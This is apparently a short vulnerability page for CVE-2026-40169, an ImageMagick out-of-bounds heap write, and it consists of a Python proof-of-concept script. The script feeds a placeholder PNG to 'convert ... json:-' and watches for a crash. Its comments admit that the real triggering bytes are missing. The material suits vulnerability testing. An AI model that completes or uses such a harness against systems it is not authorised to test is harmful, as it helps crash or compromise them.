CVE-2026-40169 ImageMagick越界堆写入漏洞

# Proof of Concept for CVE-2026-40169 # This script attempts to trigger the crash by processing an image. # Note: Requires a vulnerable ImageMagick version (< 7.1.2-19). import subprocess import os # Placeholder for a specifically crafted image payload # Real exploitation requires specific bytes to trigger the heap overflow. FILE_NAME = "test_cve_2026_40169.png" # Create a dummy file for demonstration with open(FILE_NAME, "wb") as f: f.write(b'\x89PNG\r\n\x1a\n') # PNG Header f.write(b'\x00' * 100) # Padding def trigger_vulnerability(): try: print(f"Attempting to process {FILE_NAME}...") # The vulnerability triggers when outputting to JSON or YAML # Using 'identify' or 'convert' with json: output cmd = ["convert", FILE_NAME, "json:-"] process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = process.communicate(timeout=5) if process.returncode != 0: print(f"Process exited with error code: {process.returncode}") print(f"Error: {stderr.decode()}") else: print("Process completed successfully (might be patched or payload incorrect).") except subprocess.TimeoutExpired: print("Process timed out (potential crash/hang)") except Exception as e: print(f"Exception occurred: {e}") finally: if os.path.exists(FILE_NAME): os.remove(FILE_NAME) if __name__ == "__main__": trigger_vulnerability()